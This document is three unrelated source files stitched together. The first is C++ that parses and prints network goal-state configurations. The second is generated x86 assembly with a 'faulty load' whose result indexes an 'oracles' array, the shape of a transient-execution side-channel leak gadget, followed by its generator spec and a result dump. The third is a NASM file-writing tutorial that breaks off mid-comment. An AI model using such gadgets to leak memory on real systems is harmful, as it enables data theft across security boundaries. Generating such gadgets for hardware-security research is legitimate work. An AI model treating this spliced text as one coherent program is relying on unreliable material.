// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
#include "aca_log.h"
#include "aca_util.h"
#include "aca_comm_mgr.h"
#include "aca_goal_state_handler.h"
#include "aca_dhcp_state_handler.h"
#include "goalstateprovisioner.grpc.pb.h"
using namespace std;
using namespace alcor::schema;
using namespace aca_goal_state_handler;
using namespace aca_dhcp_state_handler;
extern string g_rpc_server;
extern string g_rpc_protocol;
extern std::atomic_ulong g_total_update_GS_time;
namespace aca_comm_manager
{
Aca_Comm_Manager &Aca_Comm_Manager::get_instance()
{
// It is instantiated on first use.
// Allocated instance is destroyed when program exits.
static Aca_Comm_Manager instance;
return instance;
}
int Aca_Comm_Manager::deserialize(const cppkafka::Buffer *kafka_buffer, GoalState &parsed_struct)
{
int rc;
if (kafka_buffer->get_data() == NULL) {
rc = -EINVAL;
ACA_LOG_ERROR("Empty kafka kafka_buffer data rc: %d\n", rc);
return rc;
}
if (parsed_struct.IsInitialized() == false) {
rc = -EINVAL;
ACA_LOG_ERROR("Uninitialized parsed_struct rc: %d\n", rc);
return rc;
}
// Verify that the version of the library that we linked against is
// compatible with the version of the headers we compiled against.
GOOGLE_PROTOBUF_VERIFY_VERSION;
if (parsed_struct.ParseFromArray(kafka_buffer->get_data(), kafka_buffer->get_size())) {
ACA_LOG_INFO("Successfully converted kafka buffer to protobuf struct\n");
return EXIT_SUCCESS;
} else {
rc = -EXIT_FAILURE;
ACA_LOG_ERROR("Failed to convert kafka message to protobuf struct rc: %d\n", rc);
return rc;
}
}
int Aca_Comm_Manager::update_goal_state(GoalState &goal_state_message,
GoalStateOperationReply &gsOperationReply)
{
int exec_command_rc;
int rc = EXIT_SUCCESS;
auto start = chrono::steady_clock::now();
ACA_LOG_DEBUG("Starting to update goal state\n");
ACA_LOG_INFO("[METRICS] Goal state message size is: %lu bytes\n",
goal_state_message.ByteSizeLong());
this->print_goal_state(goal_state_message);
if (goal_state_message.router_states_size() > 0) {
exec_command_rc = Aca_Goal_State_Handler::get_instance().update_router_states(
goal_state_message, gsOperationReply);
if (exec_command_rc == EXIT_SUCCESS) {
ACA_LOG_INFO("Successfully updated router states, rc: %d\n", exec_command_rc);
} else {
ACA_LOG_ERROR("Failed to update router states. rc: %d\n", exec_command_rc);
rc = exec_command_rc;
}
}
if (goal_state_message.port_states_size() > 0) {
exec_command_rc = Aca_Goal_State_Handler::get_instance().update_port_states(
goal_state_message, gsOperationReply);
if (exec_command_rc == EXIT_SUCCESS) {
ACA_LOG_INFO("Successfully updated port states, rc: %d\n", exec_command_rc);
} else if (exec_command_rc == EINPROGRESS) {
ACA_LOG_INFO("Update port states returned pending, rc: %d\n", exec_command_rc);
rc = exec_command_rc;
} else {
ACA_LOG_ERROR("Failed to update port states. rc: %d\n", exec_command_rc);
rc = exec_command_rc;
}
}
if (goal_state_message.neighbor_states_size() > 0) {
exec_command_rc = Aca_Goal_State_Handler::get_instance().update_neighbor_states(
goal_state_message, gsOperationReply);
if (exec_command_rc == EXIT_SUCCESS) {
ACA_LOG_INFO("Successfully updated neighbor states, rc: %d\n", exec_command_rc);
} else {
ACA_LOG_ERROR("Failed to update neighbor states. rc: %d\n", exec_command_rc);
rc = exec_command_rc;
}
}
exec_command_rc = Aca_Dhcp_State_Handler::get_instance().update_dhcp_states(
goal_state_message, gsOperationReply);
if (exec_command_rc != EXIT_SUCCESS) {
ACA_LOG_ERROR("Failed to update dhcp state. Failed with error code %d\n", exec_command_rc);
rc = exec_command_rc;
}
auto end = chrono::steady_clock::now();
auto message_total_operation_time = cast_to_nanoseconds(end - start).count();
gsOperationReply.set_message_total_operation_time(message_total_operation_time);
g_total_update_GS_time += message_total_operation_time;
ACA_LOG_INFO("[METRICS] Elapsed time for message total operation took: %ld nanoseconds or %ld milliseconds\n",
message_total_operation_time, message_total_operation_time / 1000000);
return rc;
} // namespace aca_comm_manager
void Aca_Comm_Manager::print_goal_state(GoalState parsed_struct)
{
if (g_debug_mode == false) {
return;
}
for (int i = 0; i < parsed_struct.vpc_states_size(); i++) {
fprintf(stdout, "parsed_struct.vpc_states(%d).operation_type(): %s\n", i,
aca_get_operation_string(parsed_struct.vpc_states(i).operation_type()));
VpcConfiguration current_VpcConfiguration =
parsed_struct.vpc_states(i).configuration();
fprintf(stdout, "current_VpcConfiguration.format_version(): %d\n",
current_VpcConfiguration.format_version());
fprintf(stdout, "current_VpcConfiguration.revision_number(): %d\n",
current_VpcConfiguration.revision_number());
fprintf(stdout, "current_VpcConfiguration.project_id(): %s\n",
current_VpcConfiguration.project_id().c_str());
fprintf(stdout, "current_VpcConfiguration.id(): %s\n",
current_VpcConfiguration.id().c_str());
fprintf(stdout, "current_VpcConfiguration.name(): %s \n",
current_VpcConfiguration.name().c_str());
fprintf(stdout, "current_VpcConfiguration.cidr(): %s \n",
current_VpcConfiguration.cidr().c_str());
fprintf(stdout, "current_VpcConfiguration.tunnel_id(): %ld \n",
current_VpcConfiguration.tunnel_id());
for (int j = 0; j < current_VpcConfiguration.subnet_ids_size(); j++) {
fprintf(stdout, "current_VpcConfiguration.subnet_ids(%d): %s \n", j,
current_VpcConfiguration.subnet_ids(j).id().c_str());
}
for (int k = 0; k < current_VpcConfiguration.routes_size(); k++) {
fprintf(stdout,
"current_VpcConfiguration.routes(%d).destination(): "
"%s \n",
k, current_VpcConfiguration.routes(k).destination().c_str());
fprintf(stdout,
"current_VpcConfiguration.routes(%d).next_hop(): "
"%s \n",
k, current_VpcConfiguration.routes(k).next_hop().c_str());
}
printf("\n");
}
for (int i = 0; i < parsed_struct.subnet_states_size(); i++) {
fprintf(stdout, "parsed_struct.subnet_states(%d).operation_type(): %s\n", i,
aca_get_operation_string(parsed_struct.subnet_states(i).operation_type()));
SubnetConfiguration current_SubnetConfiguration =
parsed_struct.subnet_states(i).configuration();
fprintf(stdout, "current_SubnetConfiguration.format_version(): %d\n",
current_SubnetConfiguration.format_version());
fprintf(stdout, "current_SubnetConfiguration.revision_number(): %d\n",
current_SubnetConfiguration.revision_number());
fprintf(stdout, "current_SubnetConfiguration.id(): %s\n",
current_SubnetConfiguration.id().c_str());
fprintf(stdout, "current_SubnetConfiguration.project_id(): %s\n",
current_SubnetConfiguration.project_id().c_str());
fprintf(stdout, "current_SubnetConfiguration.vpc_id(): %s\n",
current_SubnetConfiguration.vpc_id().c_str());
fprintf(stdout, "current_SubnetConfiguration.name(): %s \n",
current_SubnetConfiguration.name().c_str());
fprintf(stdout, "current_SubnetConfiguration.cidr(): %s \n",
current_SubnetConfiguration.cidr().c_str());
fprintf(stdout, "current_SubnetConfiguration.tunnel_id(): %ld \n",
current_SubnetConfiguration.tunnel_id());
fprintf(stdout, "current_SubnetConfiguration.gateway().ip_address(): %s \n",
current_SubnetConfiguration.gateway().ip_address().c_str());
fprintf(stdout, "current_SubnetConfiguration.gateway().mac_address(): %s \n",
current_SubnetConfiguration.gateway().mac_address().c_str());
fprintf(stdout, "current_SubnetConfiguration.dhcp_enable(): %d \n",
current_SubnetConfiguration.dhcp_enable());
fprintf(stdout, "current_SubnetConfiguration.availability_zone(): %s \n",
current_SubnetConfiguration.availability_zone().c_str());
fprintf(stdout, "current_SubnetConfiguration.primary_dns(): %s \n",
current_SubnetConfiguration.primary_dns().c_str());
fprintf(stdout, "current_SubnetConfiguration.secondary_dns(): %s \n",
current_SubnetConfiguration.secondary_dns().c_str());
printf("\n");
}
for (int i = 0; i < parsed_struct.port_states_size(); i++) {
fprintf(stdout, "parsed_struct.port_states(%d).operation_type(): %s\n", i,
aca_get_operation_string(parsed_struct.port_states(i).operation_type()));
PortConfiguration current_PortConfiguration =
parsed_struct.port_states(i).configuration();
fprintf(stdout, "current_PortConfiguration.format_version(): %d\n",
current_PortConfiguration.format_version());
fprintf(stdout, "current_PortConfiguration.revision_number(): %d\n",
current_PortConfiguration.revision_number());
fprintf(stdout, "current_PortConfiguration.message_type(): %d\n",
current_PortConfiguration.message_type());
fprintf(stdout, "current_PortConfiguration.id(): %s\n",
current_PortConfiguration.id().c_str());
fprintf(stdout, "current_PortConfiguration.network_type(): %d\n",
current_PortConfiguration.network_type());
fprintf(stdout, "current_PortConfiguration.project_id(): %s\n",
current_PortConfiguration.project_id().c_str());
fprintf(stdout, "current_PortConfiguration.vpc_id(): %s\n",
current_PortConfiguration.vpc_id().c_str());
fprintf(stdout, "current_PortConfiguration.name(): %s \n",
current_PortConfiguration.name().c_str());
fprintf(stdout, "current_PortConfiguration.mac_address(): %s \n",
current_PortConfiguration.mac_address().c_str());
fprintf(stdout, "current_PortConfiguration.admin_state_up(): %d \n",
current_PortConfiguration.admin_state_up());
fprintf(stdout, "current_PortConfiguration.host_info().ip_address(): %s \n",
current_PortConfiguration.host_info().ip_address().c_str());
fprintf(stdout, "current_PortConfiguration.host_info().mac_address(): %s \n",
current_PortConfiguration.host_info().mac_address().c_str());
fprintf(stdout, "current_PortConfiguration.fixed_ips_size(): %u \n",
current_PortConfiguration.fixed_ips_size());
for (int j = 0; j < current_PortConfiguration.fixed_ips_size(); j++) {
fprintf(stdout, "current_PortConfiguration.fixed_ips(%d): subnet_id %s, ip_address %s \n",
j, current_PortConfiguration.fixed_ips(j).subnet_id().c_str(),
current_PortConfiguration.fixed_ips(j).ip_address().c_str());
}
for (int j = 0; j < current_PortConfiguration.allow_address_pairs_size(); j++) {
fprintf(stdout, "current_PortConfiguration.allow_address_pairs(%d): ip_address %s, mac_address %s \n",
j, current_PortConfiguration.allow_address_pairs(j).ip_address().c_str(),
current_PortConfiguration.allow_address_pairs(j).mac_address().c_str());
}
for (int j = 0; j < current_PortConfiguration.security_group_ids_size(); j++) {
fprintf(stdout, "current_PortConfiguration.security_group_ids(%d): id %s \n",
j, current_PortConfiguration.security_group_ids(j).id().c_str());
}
printf("\n");
}
for (int i = 0; i < parsed_struct.neighbor_states_size(); i++) {
fprintf(stdout, "parsed_struct.neighbor_states(%d).operation_type(): %s\n", i,
aca_get_operation_string(parsed_struct.neighbor_states(i).operation_type()));
NeighborConfiguration current_NeighborConfiguration =
parsed_struct.neighbor_states(i).configuration();
fprintf(stdout, "current_NeighborConfiguration.format_version(): %d\n",
current_NeighborConfiguration.format_version());
fprintf(stdout, "current_NeighborConfiguration.revision_number(): %d\n",
current_NeighborConfiguration.revision_number());
fprintf(stdout, "current_NeighborConfiguration.id(): %s\n",
current_NeighborConfiguration.id().c_str());
fprintf(stdout, "current_NeighborConfiguration.neighbor_type(): %d\n",
current_NeighborConfiguration.neighbor_type());
fprintf(stdout, "current_NeighborConfiguration.project_id(): %s\n",
current_NeighborConfiguration.project_id().c_str());
fprintf(stdout, "current_NeighborConfiguration.vpc_id(): %s\n",
current_NeighborConfiguration.vpc_id().c_str());
fprintf(stdout, "current_NeighborConfiguration.name(): %s \n",
current_NeighborConfiguration.name().c_str());
fprintf(stdout, "current_NeighborConfiguration.mac_address(): %s \n",
current_NeighborConfiguration.mac_address().c_str());
fprintf(stdout, "current_NeighborConfiguration.host_ip_address(): %s \n",
current_NeighborConfiguration.host_ip_address().c_str());
fprintf(stdout, "current_NeighborConfiguration.neighbor_host_dvr_mac(): %s \n",
current_NeighborConfiguration.neighbor_host_dvr_mac().c_str());
fprintf(stdout, "current_NeighborConfiguration.fixed_ips_size(): %u \n",
current_NeighborConfiguration.fixed_ips_size());
for (int j = 0; j < current_NeighborConfiguration.fixed_ips_size(); j++) {
fprintf(stdout, "current_NeighborConfiguration.fixed_ips(%d): subnet_id %s, ip_address %s \n",
j, current_NeighborConfiguration.fixed_ips(j).subnet_id().c_str(),
current_NeighborConfiguration.fixed_ips(j).ip_address().c_str());
}
for (int j = 0; j < current_NeighborConfiguration.allow_address_pairs_size(); j++) {
fprintf(stdout, "current_NeighborConfiguration.allow_address_pairs(%d): ip_address %s, mac_address %s \n",
j,
current_NeighborConfiguration.allow_address_pairs(j).ip_address().c_str(),
current_NeighborConfiguration.allow_address_pairs(j).mac_address().c_str());
}
printf("\n");
}
for (int i = 0; i < parsed_struct.security_group_states_size(); i++) {
fprintf(stdout, "parsed_struct.neighbor_states(%d).operation_type(): %s\n", i,
aca_get_operation_string(parsed_struct.security_group_states(i).operation_type()));
SecurityGroupConfiguration current_SecurityGroupConfiguration =
parsed_struct.security_group_states(i).configuration();
fprintf(stdout, "current_SecurityGroupConfiguration.format_version(): %d\n",
current_SecurityGroupConfiguration.format_version());
fprintf(stdout, "current_SecurityGroupConfiguration.revision_number(): %d\n",
current_SecurityGroupConfiguration.revision_number());
fprintf(stdout, "current_SecurityGroupConfiguration.id(): %s\n",
current_SecurityGroupConfiguration.id().c_str());
fprintf(stdout, "current_SecurityGroupConfiguration.project_id(): %s\n",
current_SecurityGroupConfiguration.project_id().c_str());
fprintf(stdout, "current_SecurityGroupConfiguration.vpc_id(): %s\n",
current_SecurityGroupConfiguration.vpc_id().c_str());
fprintf(stdout, "current_SecurityGroupConfiguration.name(): %s \n",
current_SecurityGroupConfiguration.name().c_str());
fprintf(stdout, "current_SecurityGroupConfiguration.security_group_rules_size(): %u \n",
current_SecurityGroupConfiguration.security_group_rules_size());
for (int j = 0;
j < current_SecurityGroupConfiguration.security_group_rules_size(); j++) {
fprintf(stdout,
"current_SecurityGroupConfiguration.security_group_rules(%d): security_group_id: %s, id: %s, direction: %d, "
"ethertype: %d, protocol: %d, port_range_min: %u, port_range_max: %u, remote_ip_prefix: %s, remote_group_id: %s\n",
j,
current_SecurityGroupConfiguration.security_group_rules(j)
.security_group_id()
.c_str(),
current_SecurityGroupConfiguration.security_group_rules(j).id().c_str(),
current_SecurityGroupConfiguration.security_group_rules(j).direction(),
current_SecurityGroupConfiguration.security_group_rules(j).ethertype(),
current_SecurityGroupConfiguration.security_group_rules(j).protocol(),
current_SecurityGroupConfiguration.security_group_rules(j).port_range_min(),
current_SecurityGroupConfiguration.security_group_rules(j).port_range_max(),
current_SecurityGroupConfiguration.security_group_rules(j)
.remote_ip_prefix()
.c_str(),
current_SecurityGroupConfiguration.security_group_rules(j)
.remote_group_id()
.c_str());
}
printf("\n");
}
// TODO: add the print out of DHCP message
for (int i = 0; i < parsed_struct.router_states_size(); i++) {
fprintf(stdout, "parsed_struct.router_states(%d).operation_type(): %s\n", i,
aca_get_operation_string(parsed_struct.router_states(i).operation_type()));
RouterConfiguration current_RouterConfiguration =
parsed_struct.router_states(i).configuration();
fprintf(stdout, "current_RouterConfiguration.format_version(): %d\n",
current_RouterConfiguration.format_version());
fprintf(stdout, "current_RouterConfiguration.revision_number(): %d\n",
current_RouterConfiguration.revision_number());
fprintf(stdout, "current_RouterConfiguration.id(): %s\n",
current_RouterConfiguration.id().c_str());
fprintf(stdout, "current_RouterConfiguration.host_dvr_mac_address(): %s \n",
current_RouterConfiguration.host_dvr_mac_address().c_str());
fprintf(stdout, "current_RouterConfiguration.subnet_ids_size(): %u \n",
current_RouterConfiguration.subnet_ids_size());
for (int j = 0; j < current_RouterConfiguration.subnet_ids_size(); j++) {
fprintf(stdout, "current_RouterConfiguration.subnet_ids(%d): %s\n", j,
current_RouterConfiguration.subnet_ids(j).c_str());
}
printf("\n");
}
}
} // namespace aca_comm_manager
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r13
push %r14
push %r15
push %rbp
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0xb312, %r11
nop
nop
nop
add %rbx, %rbx
mov $0x6162636465666768, %r15
movq %r15, (%r11)
nop
nop
nop
nop
nop
add %r14, %r14
lea addresses_UC_ht+0x1e412, %r13
nop
nop
nop
sub %r14, %r14
mov (%r13), %ebp
add %r13, %r13
lea addresses_WT_ht+0xebd2, %rbx
nop
nop
nop
sub %r10, %r10
movl $0x61626364, (%rbx)
add %r15, %r15
lea addresses_UC_ht+0xb412, %r14
nop
nop
xor %r10, %r10
mov $0x6162636465666768, %rbx
movq %rbx, (%r14)
nop
nop
nop
nop
nop
inc %r13
lea addresses_A_ht+0xc752, %rsi
lea addresses_UC_ht+0x3a74, %rdi
nop
nop
nop
add %r11, %r11
mov $62, %rcx
rep movsl
cmp %rbx, %rbx
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r15
pop %r14
pop %r13
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r14
push %r15
push %r9
push %rax
push %rbp
push %rsi
// Store
lea addresses_WC+0x3012, %rax
nop
nop
nop
nop
nop
add $41046, %r11
mov $0x5152535455565758, %r9
movq %r9, %xmm3
vmovups %ymm3, (%rax)
xor $6277, %r15
// Store
lea addresses_normal+0x1dee2, %rax
nop
nop
xor %r14, %r14
movw $0x5152, (%rax)
nop
nop
nop
xor $46075, %r9
// Store
lea addresses_WC+0x51f0, %r14
nop
cmp %rsi, %rsi
movb $0x51, (%r14)
nop
nop
cmp %r14, %r14
// Load
lea addresses_D+0x19b32, %r11
nop
nop
sub $46728, %rbp
movb (%r11), %al
nop
xor $34755, %r9
// Store
lea addresses_D+0x24c6, %r9
dec %r11
movw $0x5152, (%r9)
nop
nop
nop
nop
xor $37025, %r14
// Store
mov $0x412, %r15
dec %rbp
movb $0x51, (%r15)
nop
dec %rax
// Store
mov $0x25c4f60000000ef2, %r15
nop
cmp $48209, %r11
movw $0x5152, (%r15)
nop
add $20743, %r14
// Load
lea addresses_normal+0x9812, %rax
clflush (%rax)
nop
nop
nop
sub %r9, %r9
mov (%rax), %r15
nop
nop
nop
nop
xor $16412, %rsi
// Store
lea addresses_UC+0x1eb12, %rax
nop
nop
nop
nop
nop
dec %r15
movb $0x51, (%rax)
nop
nop
cmp $39964, %r14
// Store
lea addresses_normal+0x3a5a, %r11
cmp %r9, %r9
mov $0x5152535455565758, %r15
movq %r15, %xmm3
vmovups %ymm3, (%r11)
nop
nop
nop
sub $34438, %r15
// Store
lea addresses_PSE+0x17c72, %rbp
nop
nop
nop
nop
and $11215, %rax
mov $0x5152535455565758, %r11
movq %r11, (%rbp)
nop
nop
nop
nop
add %r14, %r14
// Store
lea addresses_US+0x1e412, %r9
nop
nop
nop
nop
cmp $3710, %r15
movb $0x51, (%r9)
sub $1012, %rax
// Store
lea addresses_UC+0x1f462, %rsi
clflush (%rsi)
nop
nop
nop
cmp $14046, %r14
mov $0x5152535455565758, %r9
movq %r9, (%rsi)
nop
sub %r15, %r15
// Store
lea addresses_WT+0xf5ea, %rbp
nop
nop
nop
nop
xor $5311, %rsi
movl $0x51525354, (%rbp)
nop
nop
and $1280, %r15
// Faulty Load
lea addresses_US+0x1e412, %r11
add $63906, %rsi
mov (%r11), %bp
lea oracles, %r9
and $0xff, %rbp
shlq $12, %rbp
mov (%r9,%rbp,1), %rbp
pop %rsi
pop %rbp
pop %rax
pop %r9
pop %r15
pop %r14
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_US', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WC', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 10}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_normal', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 1}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WC', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 1}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_D', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 4}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_D', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 2}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_P', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 11}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_NC', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 2}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 9}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_UC', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 8}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_normal', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 2}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_PSE', 'NT': False, 'AVXalign': True, 'size': 8, 'congruent': 5}}
{'OP': 'STOR', 'dst': {'same': True, 'type': 'addresses_US', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_UC', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 4}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT', 'NT': False, 'AVXalign': True, 'size': 4, 'congruent': 3}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_US', 'NT': False, 'AVXalign': True, 'size': 2, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 7}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 7}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 3}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 11}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 6, 'type': 'addresses_A_ht'}, 'dst': {'same': False, 'congruent': 0, 'type': 'addresses_UC_ht'}}
{'51': 21829}
51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51
*/
|
;=================================================================
;
; Copyright (c) 2014, Eric Blundell
;
; All rights reserved.
;
; libasm_io is distributed under the following BSD 3-Clause License
;
; Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
;
; 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
;
; 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the
; documentation and/or other materials provided with the distribution.
;
; 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from
; this software without specific prior written permission.
;
; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
; LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
; HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
; LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
; ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
;
;==================================================================
;the following is defined when the library examples are being built with the library
%ifdef _LIBASM_IO_BUILDING_
;if the library build system is building the examples, then an option to NASM specifies the directory
;to find this include, so we can include it by its name only
%include "libasm_io.inc"
%else
;otherwise if this code is compiled against the already installed library
;it's header needs to be included from its installed location
%include "/usr/local/include/libasm_io.inc"
%endif
;main gets called by the C runtime library, so it needs to be global to let the linker find it
;the cglobal macro from the library is used to add an underscore to the front of main if needed
;some platforms (Like Mac) use underscores in front of all their C library symbols
;the macro also defines main as _main if an underscore is needed, so we can reference it as 'main'
;consistently across platforms
cglobal main
section .data
instructions: db "Type the name of a file to write to and hit enter.",10,0
instructions2: db 10,"Type what you want to write to the file and hit enter.",10,0
failure_message:
db 10,"The file was not written successfully.",10
db "maybe you don't have permission to write to the specified location?",10,0
section .text
main:
;set up a new stack frame, first save the old stack base pointer by pushing it
push rbp
;then slide the base of the stack down to RSP by moving RSP into RBP
mov rbp, rsp
;Windows requires a minimum of 32 bytes on the stack before calling any other functions
;so this is for compatibility, its perfectly valid on Linux and Mac also
sub rsp, 32
;move a pointer to our initial instructions string into RDI so we can print it with print_string
;this just tells the user to type the name of the file they want to write to
mov rdi, QWORD instructions
call print_string
;read a string from the console using read_string, this string will be the file name
;we will have to call free_mem on the pointer it returns later when we are done with it
call read_string
;save the file name pointer on the stack at RSP so we can access it later
mov [rsp], rax
;move our second instructions message into RDI so we can print it
;this message tells the user to type in some text to write to the file
mov rdi, QWORD instructions2
call print_string
;call read_string so we can read some text from the console, to be written to the file
call read_string
;save the result of read_string (the file content string)
;on the stack in a second location, so we can access it later
mov [rsp+8], rax
;move the file name string pointer we stored on the stack into RDI, so it can be
;used as the first parameter of write_file
mov rdi, [rsp]
;move the file content string pointer we stored on the stack into RSI, so it can be
;used as the second parameter to write_file
mov rsi, [rsp+8]
;call write_file to write the file
;the first parameter of write_file is RDI (pointer to file name string)
;and the second parameter of write_file is RSI (pointer to file content string)
call write_file
;move the success code into memory, so we can tell the user if the file was written successfully or not
mov [rsp+16], rax
;write_file may have modified RDI and RSI so we need to move the file name string and file content string
